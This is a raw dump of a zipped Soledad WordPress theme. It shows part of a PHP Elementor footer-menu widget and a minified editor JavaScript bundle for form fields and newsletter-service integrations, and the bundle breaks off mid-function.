				'default'   => '',
				'condition' => array( 'addborders' => 'yes' ),
				'selectors' => array( '{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a:hover, {{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li.current-menu-item a' => 'border-color: {{VALUE}};' ),
			)
		);
		
		$this->add_responsive_control(
			'items_padding', array(
				'label'      => __( 'Menu Items Custom Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcfnm-bditems .pcfoot-navmenu li a, {{WRAPPER}} .pcfnm-bgitems .pcfoot-navmenu li a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
				'separator' => 'before',
				'conditions' => [
					'relation' => 'or',
					'terms' => [
						[
							'name' => 'addbg',
							'operator' => '==',
							'value' => 'yes'
						],
						[
							'name' => 'addborders',
							'operator' => '==',
							'value' => 'yes'
						]
					]
				]
			)
		);
		
		$this->end_controls_section();

	}

	protected function render() {
		$available_menus = $this->get_available_menus();

		if ( ! $available_menus ) {
			return;
		}
		
		$settings = $this->get_settings();
		$wrapper_class = 'pcfooter-navmenu';
		$menu_id = $settings['menu'] ? $settings['menu'] : '';
		$wrapper_class .= $settings['separator'] ? ' pcfnm-sepa-' . $settings['separator'] : ' pcfnm-sepa-none';
		if( 'yes' == $settings['addbg'] ){
			$wrapper_class .= ' pcfnm-bgitems';
		}
		if( 'yes' == $settings['addborders'] ){
			$wrapper_class .= ' pcfnm-bditems';
		}
		?>
		<div class="<?php echo $wrapper_class; ?>">
			<?php
			wp_nav_menu( array(
				'menu'            => $menu_id,
				'container'      => false,
				'menu_class'     => 'pcfoot-navmenu',
				'fallback_cb'    => 'penci_menu_fallback',
			) );
			?>
		</div>
		<?php
	}
}
PK     1w\ak  k  !  elementor/assets/js/editor.bak.jsnu [        !function ( e ) {
	var t = {};

	function n( i ) {
		if ( t[i] ) {
			return t[i].exports;
		}
		var o = t[i] = {i: i, l: !1, exports: {}};
		return e[i].call( o.exports, o, o.exports, n ), o.l = !0, o.exports
	}

	n.m = e, n.c = t, n.d = function ( e, t, i ) {
		n.o( e, t ) || Object.defineProperty( e, t, {enumerable: !0, get: i} )
	}, n.r = function ( e ) {
		"undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty( e, Symbol.toStringTag, {value: "Module"} ), Object.defineProperty( e, "__esModule", {value: !0} )
	}, n.t = function ( e, t ) {
		if ( 1 & t && (
			e = n( e )
		), 8 & t ) {
			return e;
		}
		if ( 4 & t && "object" == typeof e && e && e.__esModule ) {
			return e;
		}
		var i = Object.create( null );
		if ( n.r( i ), Object.defineProperty( i, "default", {enumerable: !0, value: e} ), 2 & t && "string" != typeof e ) {
			for ( var o in e ) {
				n.d( i, o, function ( t ) {
					return e[t]
				}.bind( null, o ) );
			}
		}
		return i
	}, n.n = function ( e ) {
		var t = e && e.__esModule ? function () {
			return e.default
		} : function () {
			return e
		};
		return n.d( t, "a", t ), t
	}, n.o = function ( e, t ) {
		return Object.prototype.hasOwnProperty.call( e, t )
	}, n.p = "", n( n.s = 9 )
}( [
	function ( e, t, n ) {
		"use strict";
		var i = function () {
			var e = this;
			this.init = function () {
				jQuery( window ).on( "elementor:init", this.onElementorReady.bind( this ) )
			}, this.getView = function ( e ) {
				return elementor.getPanelView().getCurrentPageView().children.findByModelCid( this.getControl( e ).cid )
			}, this.getControl = function ( e ) {
				return elementor.getPanelView().getCurrentPageView().collection.findWhere( {name: e} )
			}, this.onElementorReady = function () {
				e.onElementorInit(), elementor.on( "frontend:init", function () {
					e.onElementorFrontendInit()
				} ), elementor.on( "preview:loaded", function () {
					e.onElementorPreviewLoaded()
				} )
			}, this.init()
		};
		i.prototype.onElementorInit = function () {
		}, i.prototype.onElementorPreviewLoaded = function () {
		}, i.prototype.onElementorFrontendInit = function () {
		}, i.extend = Backbone.View.extend, e.exports = i
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.Module.extend( {
			elementType: null, __construct: function ( e ) {
				this.elementType = e, this.addEditorListener()
			}, addEditorListener: function () {
				var e = this;
				if ( e.onElementChange ) {
					var t = "change";
					"global" !== e.elementType && (
						t += ":" + e.elementType
					), elementor.channels.editor.on( t, function ( t, n ) {
						e.onElementChange( t.model.get( "name" ), t, n )
					} )
				}
			}, getView: function ( e ) {
				return elementor.getPanelView().getCurrentPageView().children.findByModelCid( this.getControl( e ).cid )
			}, getControl: function ( e ) {
				return elementor.getPanelView().getCurrentPageView().collection.findWhere( {name: e} )
			}, addControlSpinner: function ( e ) {
				var t = this.getView( e ).$el, n = t.find( ":input" );
				t.find( ":input" ).attr( "disabled" ) || (
					n.attr( "disabled", !0 ), t.find( ".elementor-control-title" ).after( '<span class="elementor-control-spinner"><i class="fa fa-spinner fa-spin"></i>&nbsp;</span>' )
				)
			}, removeControlSpinner: function ( e ) {
				this.getView( e ).$el.find( ":input" ).attr( "disabled", !1 ), this.getView( e ).$el.find( "elementor-control-spinner" ).remove()
			}, addSectionListener: function ( e, t ) {
				var n = this;
				elementor.channels.editor.on( "section:activated", function ( i, o ) {
					var r = o.getOption( "editedElementView" ).getEditModel(), l = r.get( "elType" ), s = arguments;
					"widget" === l && (
						l = r.get( "widgetType" )
					), n.elementType === l && e === i && setTimeout( function () {
						t.apply( n, s )
					}, 10 )
				} )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			cache: {}, getName: function () {
				return ""
			}, fetchCache: function ( e, t, n ) {
				var i = this;
				return soledadElementor.ajax.addRequest( "forms_panel_action_data", {
					data: n, success: function ( n ) {
						i.cache[e] = _.extend( {}, i.cache[e] ), i.cache[e][t] = n[e]
					}
				} )
			}, updateOptions: function ( e, t ) {
				this.getView( e ) && (
					this.getControl( e ).set( "options", t ), this.getView( e ).render()
				)
			}, onInit: function () {
				this.addSectionListener( "section_" + this.getName(), this.onSectionActive )
			}, onSectionActive: function () {
				this.onApiUpdate()
			}, onApiUpdate: function () {
			}
		} )
	}, , , , , , , function ( e, t, n ) {
		"use strict";
		var i = Marionette.Application.extend( {
			config: {}, modules: {}, initModules: function () {
				var e = n( 10 ), t = n( 12 ), i = n( 28 ), o = n( 30 ), r = n( 32 ), l = n( 38 ), s = n( 39 ), a = n( 40 ), d = n( 42 ), c = n( 44 );
				this.modules = {queryControl: new e, forms: new t, library: new i, customCSS: new o, globalWidget: new r, flipBox: new l, shareButtons: new s, assetsManager: new a, themeElements: new d, themeBuilder: new c}
			}, ajax: {
				prepareArgs: function ( e ) {
					return e[0] = "penci_" + e[0], e
				}, send: function () {
					return elementorCommon.ajax.send.apply( elementorCommon.ajax, this.prepareArgs( arguments ) )
				}, addRequest: function () {
					return elementorCommon.ajax.addRequest.apply( elementorCommon.ajax, this.prepareArgs( arguments ) )
				}
			}, translate: function ( e, t ) {
				return elementorCommon.translate( e, null, t, this.config.i18n )
			}, onStart: function () {
				this.config = PenciElementorConfig, this.initModules(), jQuery( window ).on( "elementor:init", this.onElementorInit )
			}, onElementorInit: function () {
				soledadElementor.libraryRemoveGetProButtons(), elementor.debug.addURLToWatch( "elementor/assets" )
			}, libraryRemoveGetProButtons: function () {
				elementor.hooks.addFilter( "elementor/editor/template-library/template/action-button", function ( e, t ) {
					return t.isPro && !soledadElementor.config.isActive ? "#tmpl-elementor-template-library-activate-license-button" : "#tmpl-elementor-template-library-insert-button"
				} )
			}
		} );
		window.soledadElementor = new i, soledadElementor.start()
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorPreviewLoaded: function () {
				elementor.addControlView( "Query", n( 11 ) )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.controls.Select2.extend( {
			cache: null, isTitlesReceived: !1, getSelect2Placeholder: function () {
				return {id: "", text: soledadElementor.translate( "all" )}
			}, getSelect2DefaultOptions: function () {
				var e = this;
				return jQuery.extend( elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply( this, arguments ), {
					ajax: {
						transport: function ( t, n, i ) {
							var o = {q: t.data.q, filter_type: e.model.get( "filter_type" ), object_type: e.model.get( "object_type" ), include_type: e.model.get( "include_type" )};
							return soledadElementor.ajax.addRequest( "panel_posts_control_filter_autocomplete", {data: o, success: n, error: i} )
						}, data: function ( e ) {
							return {q: e.term, page: e.page}
						}, cache: !0
					}, escapeMarkup: function ( e ) {
						return e
					}, minimumInputLength: 1
				} )
			}, getValueTitles: function () {
				var e = this, t = this.getControlValue(), n = this.model.get( "filter_type" );
				t && n && (
					_.isArray( t ) || (
						t = [t]
					), elementorCommon.ajax.loadObjects( {
						action: "query_control_value_titles",
						ids: t,
						data: {
							filter_type: n,
							object_type: e.model.get( "object_type" ),
							unique_id: "" + e.cid + n},
						before: function () {
							e.addControlSpinner()
						}, success: function ( t ) {
							e.isTitlesReceived = !0, e.model.set( "options", t ), e.render()
						}
					} )
				)
			}, addControlSpinner: function () {
				this.ui.select.prop( "disabled", !0 ), this.$el.find( ".elementor-control-title" ).after( '<span class="elementor-control-spinner">&nbsp;<i class="fa fa-spinner fa-spin"></i>&nbsp;</span>' )
			}, onReady: function () {
				setTimeout( elementor.modules.controls.Select2.prototype.onReady.bind( this ) ), this.isTitlesReceived || this.getValueTitles()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				var e = n( 13 ), t = n( 14 ), i = n( 15 ), o = n( 16 ), r = n( 17 ), l = n( 18 ), s = n( 19 ), a = n( 20 ), d = n( 21 );
				this.replyToField = new e, this.mailchimp = new r( "form" ), this.shortcode = new i( "form" ), this.recaptcha = new t( "form" ), this.drip = new l( "form" ), this.activecampaign = new s( "form" ), this.getresponse = new a( "form" ), this.convertkit = new d( "form" ), this.mailerlite = new o( "form" );
				var c = n( 22 ), u = n( 23 ), m = n( 24 ), p = n( 25 ), g = n( 26 );
				this.Fields = {time: new c( "form" ), date: new u( "form" ), tel: new g( "form" ), acceptance: new m( "form" ), upload: new p( "form" )}, elementor.addControlView( "Fields_map", n( 27 ) )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e, t, n, i = function () {
				var t = e.children.findByModelCid( n.cid );
				t && t.render()
			}, o = function () {
				var e, o = t.get( "settings" ).get( "form_fields" ).where( {field_type: "email"} );
				o = _.reject( o, {field_label: ""} ), e = _.map( o, function ( e ) {
					return {id: e.get( "_id" ), label: soledadElementor.translate( "x_field", [e.get( "field_label" )] )}
				} ), n.set( "options", {"": n.get( "options" )[""]} ), _.each( e, function ( e ) {
					n.get( "options" )[e.id] = e.label
				} ), i()
			}, r = function ( e ) {
				n.get( "options" )[""] = e.get( "email_from" ), i()
			}, l = function ( e ) {
				e.get( "_id" ) && "email" === e.get( "field_type" ) && o(), e.changed.email_from && r( e )
			}, s = function ( i, s ) {
				e = i.getCurrentPageView(), t = s, n = e.collection.findWhere( {name: "email_reply_to"} );
				var a = t.get( "settings" );
				a.on( "change", l ), r( a ), o()
			};
			elementor.hooks.addAction( "panel/open_editor/widget/form", s )
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t ) {
				var n = soledadElementor.config.forms.recaptcha;
				return e += '<div class="elementor-field">', n.enabled ? e += '<div class="elementor-g-recaptcha' + _.escape( t.css_classes ) + '" data-sitekey="' + n.site_key + '" data-theme="' + t.recaptcha_style + '" data-size="' + t.recaptcha_size + '"></div>' : e += '<div class="elementor-alert">' + n.setup_message + "</div>", e += "</div>"
			}, filterItem: function ( e ) {
				return "recaptcha" === e.field_type && (
					e.field_label = !1
				), e
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/item", this.filterItem ), elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/recaptcha", this.renderField, 10, 2 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			getExistId: function ( e ) {
				return this.getView( "form_fields" ).collection.filter( function ( t ) {
					return e === t.get( "_id" )
				} ).length > 1
			}, onFieldChanged: function ( e, t, n ) {
				var i = this;
				_.defer( function () {
					var o = i.getView( "form_fields" ).children.findByModel( e );
					t.changes.removed ? i.getView( "form_fields" ).children.each( i.updateShortcode ) : (
						i.updateId( o, n && n.add ), i.updateShortcode( o )
					)
				} )
			}, updateId: function ( e, t ) {
				for (
					var n = e.model.get( "_id" ), i = n.replace( /[^\w]/, "_" ), o = 1, r = e.children.filter( function ( e ) {
						return "_id" === e.model.get( "name" )
					} ); i !== n || t || !n || this.getExistId( n );
				) {
					i !== n ? n = i : i = n = "field_" + o, e.model.attributes._id = n, r[0].render(), r[0].$el.find( "input" ).trigger( "focus" ), o ++, t = !1
				}
			}, updateShortcode: function ( e ) {
				var t = _.template( '[field id="<%= id %>"]' )( {title: e.model.get( "field_label" ), id: e.model.get( "_id" )} );
				e.$el.find( ".elementor-form-field-shortcode" ).on( "focus", function () {
					this.select()
				} ).val( t )
			}, onSectionActive: function () {
				var e = this.getView( "form_fields" );
				e.children.each( this.updateShortcode ), this.collectionEventsAttached || (
					e.collection.on( "update", this.onFieldChanged ), this.collectionEventsAttached = !0
				)
			}, onInit: function () {
				this.addSectionListener( "section_form_fields", this.onSectionActive )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			fields: {}, getName: function () {
				return "mailerlite"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"mailerlite_api_key_source":
					case"mailerlite_custom_api_key":
						this.onMailerliteApiKeyUpdate();
						break;
					case"mailerlite_group":
						this.updateFieldsMapping()
				}
			}, onMailerliteApiKeyUpdate: function () {
				var e = this, t = e.getView( "mailerlite_custom_api_key" ), n = e.getView( "mailerlite_api_key_source" );
				if ( "default" !== n.getControlValue() && "" === t.getControlValue() ) {
					return e.updateOptions( "mailerlite_group", [] ), void e.getView( "mailerlite_group" ).setValue( "" );
				}
				e.addControlSpinner( "mailerlite_group" ), e.getMailerliteCache( "groups", "groups", n.getControlValue() ).done( function ( t ) {
					e.updateOptions( "mailerlite_group", t.groups ), e.fields = t.fields
				} )
			}, updateFieldsMapping: function () {
				if ( this.getView( "mailerlite_group" ).getControlValue() ) {
					var e = [
						{remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0},
						{remote_label: elementor.translate( "Name" ), remote_type: "text", remote_id: "name", remote_required: !1},
						{remote_label: elementor.translate( "Last Name" ), remote_type: "text", remote_id: "last_name", remote_required: !1},
						{remote_label: elementor.translate( "Company" ), remote_type: "text", remote_id: "company", remote_required: !1},
						{remote_label: elementor.translate( "Phone" ), remote_type: "text", remote_id: "phone", remote_required: !1},
						{remote_label: elementor.translate( "Country" ), remote_type: "text", remote_id: "country", remote_required: !1},
						{remote_label: elementor.translate( "State" ), remote_type: "text", remote_id: "state", remote_required: !1},
						{remote_label: elementor.translate( "City" ), remote_type: "text", remote_id: "city", remote_required: !1},
						{remote_label: elementor.translate( "Zip" ), remote_type: "text", remote_id: "zip", remote_required: !1}
					];
					for ( var t in this.fields ) {
						this.fields.hasOwnProperty( t ) && e.push( this.fields[t] );
					}
					this.getView( "mailerlite_fields_map" ).updateMap( e )
				}
			}, getMailerliteCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "mailerlite", mailerlite_action: t, custom_api_key: this.getView( "mailerlite_custom_api_key" ).getControlValue(), api_key: this.getView( "mailerlite_api_key_source" ).getControlValue()} ), this.fetchCache( e, n, i )
			}, onSectionActive: function () {
				i.prototype.onSectionActive.apply( this, arguments ), this.onMailerliteApiKeyUpdate()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "mailchimp"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"mailchimp_api_key_source":
					case"mailchimp_api_key":
						this.onApiUpdate();
						break;
					case"mailchimp_list":
						this.onMailchimpListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "mailchimp_api_key" ), n = e.getView( "mailchimp_api_key_source" );
				if ( "default" !== n.getControlValue() && "" === t.getControlValue() ) {
					return e.updateOptions( "mailchimp_list", [] ), void e.getView( "mailchimp_list" ).setValue( "" );
				}
				e.addControlSpinner( "mailchimp_list" ), e.getMailchimpCache( "lists", "lists", n.getControlValue() ).done( function ( t ) {
					e.updateOptions( "mailchimp_list", t.lists )
				} )
			}, onMailchimpListUpdate: function () {
				this.updateOptions( "mailchimp_groups", [] ), this.getView( "mailchimp_groups" ).setValue( "" ), this.updatMailchimpList()
			}, updatMailchimpList: function () {
				var e = this, t = e.getView( "mailchimp_list" );
				t.getControlValue() && (
					e.addControlSpinner( "mailchimp_groups" ), e.getMailchimpCache( "list_details", "list_details", t.getControlValue(), {mailchimp_list: t.getControlValue()} ).done( function ( t ) {
						e.updateOptions( "mailchimp_groups", t.list_details.groups ), e.getView( "mailchimp_fields_map" ).updateMap( t.list_details.fields )
					} )
				)
			}, getMailchimpCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "mailchimp", mailchimp_action: t, api_key: this.getView( "mailchimp_api_key" ).getControlValue(), use_global_api_key: this.getView( "mailchimp_api_key_source" ).getControlValue()} ), this.fetchCache( e, n, i )
			}, onSectionActive: function () {
				i.prototype.onSectionActive.apply( this, arguments ), this.updatMailchimpList()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "drip"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"drip_api_token_source":
					case"drip_custom_api_token":
						this.onApiUpdate();
						break;
					case"drip_account":
						this.onDripAccountsUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "drip_api_token_source" ), n = e.getView( "drip_custom_api_token" );
				if ( "default" !== t.getControlValue() && "" === n.getControlValue() ) {
					return e.updateOptions( "drip_account", [] ), void e.getView( "drip_account" ).setValue( "" );
				}
				e.addControlSpinner( "drip_account" ), e.getDripCache( "accounts", "accounts", t.getControlValue() ).done( function ( t ) {
					e.updateOptions( "drip_account", t.accounts )
				} )
			}, onDripAccountsUpdate: function () {
				this.updateFieldsMapping()
			}, updateFieldsMapping: function () {
				if ( this.getView( "drip_account" ).getControlValue() ) {
					var e = {remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0};
					this.getView( "drip_fields_map" ).updateMap( [e] )
				}
			}, getDripCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "drip", drip_action: t, api_token: this.getView( "drip_api_token_source" ).getControlValue(), custom_api_token: this.getView( "drip_custom_api_token" ).getControlValue()} ), this.fetchCache( e, n, i )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			fields: {}, getName: function () {
				return "activecampaign"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"activecampaign_api_credentials_source":
					case"activecampaign_api_key":
					case"activecampaign_api_url":
						this.onApiUpdate();
						break;
					case"activecampaign_list":
						this.onListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "activecampaign_api_key" ), n = e.getView( "activecampaign_api_url" ), i = e.getView( "activecampaign_api_credentials_source" );
				if ( "default" !== i.getControlValue() && (
					"" === t.getControlValue() || "" === n.getControlValue()
				) ) {
					return e.updateOptions( "activecampaign_list", [] ), void e.getView( "activecampaign_list" ).setValue( "" );
				}
				e.addControlSpinner( "activecampaign_list" ), e.getActiveCampaignCache( "lists", "activecampaign_list", i.getControlValue() ).done( function ( t ) {
					e.updateOptions( "activecampaign_list", t.lists ), e.fields = t.fields
				} )
			}, onListUpdate: function () {
				this.updateFieldsMapping()
			}, updateFieldsMapping: function () {
				if ( this.getView( "activecampaign_list" ).getControlValue() ) {
					var e = [
						{remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0},
						{remote_label: elementor.translate( "First Name" ), remote_type: "text", remote_id: "first_name", remote_required: !1},
						{remote_label: elementor.translate( "Last Name" ), remote_type: "text", remote_id: "last_name", remote_required: !1},
						{remote_label: elementor.translate( "Phone" ), remote_type: "text", remote_id: "phone", remote_required: !1},
						{remote_label: elementor.translate( "Organization name" ), remote_type: "text", remote_id: "orgname", remote_required: !1}
					];
					for ( var t in this.fields ) {
						this.fields.hasOwnProperty( t ) && e.push( this.fields[t] );
					}
					this.getView( "activecampaign_fields_map" ).updateMap( e )
				}
			}, getActiveCampaignCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {
					service: "activecampaign",
					activecampaign_action: t,
					api_key: this.getView( "activecampaign_api_key" ).getControlValue(),
					api_url: this.getView( "activecampaign_api_url" ).getControlValue(),
					api_cred: this.getView( "activecampaign_api_credentials_source" ).getControlValue()
				} ), this.fetchCache( e, n, i )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "getresponse"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"getresponse_custom_api_key":
					case"getresponse_api_key_source":
						this.onApiUpdate();
						break;
					case"getresponse_list":
						this.onGetResonseListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "getresponse_api_key_source" ), n = e.getView( "getresponse_custom_api_key" );
				if ( "default" !== t.getControlValue() && "" === n.getControlValue() ) {
					return e.updateOptions( "getresponse_list", [] ), void e.getView( "getresponse_list" ).setValue( "" );
				}
				e.addControlSpinner( "getresponse_list" ), e.getCache( "lists", "lists", t.getControlValue() ).done( function ( t ) {
					e.updateOptions( "getresponse_list", t.lists )
				} )
			}, onGetResonseListUpdate: function () {
				this.updatGetResonseList()
			}, updatGetResonseList: function () {
				var e = this, t = e.getView( "getresponse_list" );
				t.getControlValue() && (
					e.addControlSpinner( "getresponse_fields_map" ), e.getCache( "fields", "get_fields", t.getControlValue(), {getresponse_list: t.getControlValue()} ).done( function ( t ) {
						e.getView( "getresponse_fields_map" ).updateMap( t.fields )
					} )
				)
			}, getCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "getresponse", getresponse_action: t, api_key: this.getView( "getresponse_api_key_source" ).getControlValue(), custom_api_key: this.getView( "getresponse_custom_api_key" ).getControlValue()} ), this.fetchCache( e, n, i )
			}, onSectionActive: function () {
				i.prototype.onSectionActive.apply( this, arguments ), this.updatGetResonseList()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "convertkit"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"convertkit_api_key_source":
					case"convertkit_custom_api_key":
						this.onApiUpdate();
						break;
					case"convertkit_form":
						this.onListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "convertkit_api_key_source" ), n = e.getView( "convertkit_custom_api_key" );
				if ( "default" !== t.getControlValue() && "" === n.getControlValue() ) {
					return e.updateOptions( "convertkit_form", [] ), void e.getView( "convertkit_form" ).setValue( "" );
				}
				e.addControlSpinner( "convertkit_form" ), e.getConvertKitCache( "data", "convertkit_get_forms", t.getControlValue() ).done( function ( t ) {
					e.updateOptions( "convertkit_form", t.data.forms ), e.updateOptions( "convertkit_tags", t.data.tags )
				} )
			}, onListUpdate: function () {
				this.updateFieldsMapping()
			}, updateFieldsMapping: function () {
				if ( this.getView( "convertkit_form" ).getControlValue() ) {
					var e = [{remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0}, {remote_label: elementor.translate( "First Name" ), remote_type: "text", remote_id: "first_name", remote_required: !1}];
					this.getView( "convertkit_fields_map" ).updateMap( e )
				}
			}, getConvertKitCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "convertkit", convertkit_action: t, api_key: this.getView( "convertkit_api_key_source" ).getControlValue(), custom_api_key: this.getView( "convertkit_custom_api_key" ).getControlValue()} ), this.fetchCache( e, n, i )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "";
				return t.required && (
					r = "required"
				), t.placeholder && (
					l = ' placeholder="' + t.placeholder + '"'
				), "yes" === t.use_native_time && (
					o += " elementor-use-native"
				), '<input size="1" type="time"' + l + ' class="elementor-field-textual elementor-time-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " >"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/time", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "", s = "", a = "";
				return t.required && (
					r = "required"
				), t.min_date && (
					l = ' min="' + t.min_date + '"'
				), t.max_date && (
					s = ' max="' + t.max_date + '"'
				), t.placeholder && (
					a = ' placeholder="' + t.placeholder + '"'
				), "yes" === t.use_native_date && (
					o += " elementor-use-native"
				), '<input size="1"' + l + s + a + ' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}" type="date" class="elementor-field-textual elementor-date-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " >"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/date", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "", s = "";
				return t.required && (
					r = "required"
				), t.acceptance_text && (
					l = '<label for="form_field_' + n + '">' + t.acceptance_text + "</label>"
				), t.checked_by_default && (
					s = ' checked="checked"'
				), '<div class="elementor-field-subgroup"><span class="elementor-field-option"><input size="1" type="checkbox"' + s + ' class="elementor-acceptance-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " > " + l + "</span></div>"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/acceptance", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "", s = "form_field_";
				return t.required && (
					r = "required"
				), t.allow_multiple_upload && (
					l = ' multiple="multiple"', s += "[]"
				), '<input size="1"  type="file" class="elementor-file-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="' + s + '" id="form_field_' + n + '" ' + r + l + " >"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/upload", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "";
				return t.required && (
					r = "required"
				), t.placeholder && (
					l = ' placeholder="' + t.placeholder + '"'
				), o = "elementor-field-textual " + o, '<input size="1" type="' + t.field_type + '" class="elementor-field-textual elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " " + l + ' pattern="[0-9()-]" >'
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/tel", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.controls.Repeater.extend( {
			onBeforeRender: function () {
				this.$el.hide()
			}, updateMap: function ( e ) {
				var t = this, n = {};
				t.collection.each( function ( e ) {
					n[e.get( "remote_id" )] = e.get( "local_id" )
				} ), t.collection.reset(), _.each( e, function ( e ) {
					var i = {remote_id: e.remote_id, remote_label: e.remote_label, remote_type: e.remote_type ? e.remote_type : "", remote_required: !!e.remote_required && e.remote_required, local_id: n[e.remote_id] ? n[e.remote_id] : ""};
					t.collection.add( i )
				} ), t.render()
			}, onRender: function () {
				elementor.modules.controls.Base.prototype.onRender.apply( this, arguments );
				var e = this;
				e.children.each( function ( t ) {
					var n = t.children.last(), i = {"": "- " + elementor.translate( "None" ) + " -"}, o = t.model.get( "remote_label" );
					t.model.get( "remote_required" ) && (
						o += '<span class="elementor-required">*</span>'
					), _.each( e.elementSettingsModel.get( "form_fields" ).models, function ( e, n ) {
						var o = t.model.get( "remote_type" );
						"text" !== o && o !== e.get( "field_type" ) || (
							i[e.get( "_id" )] = e.get( "field_label" ) || "Field #" + (
							n + 1
						)
						)
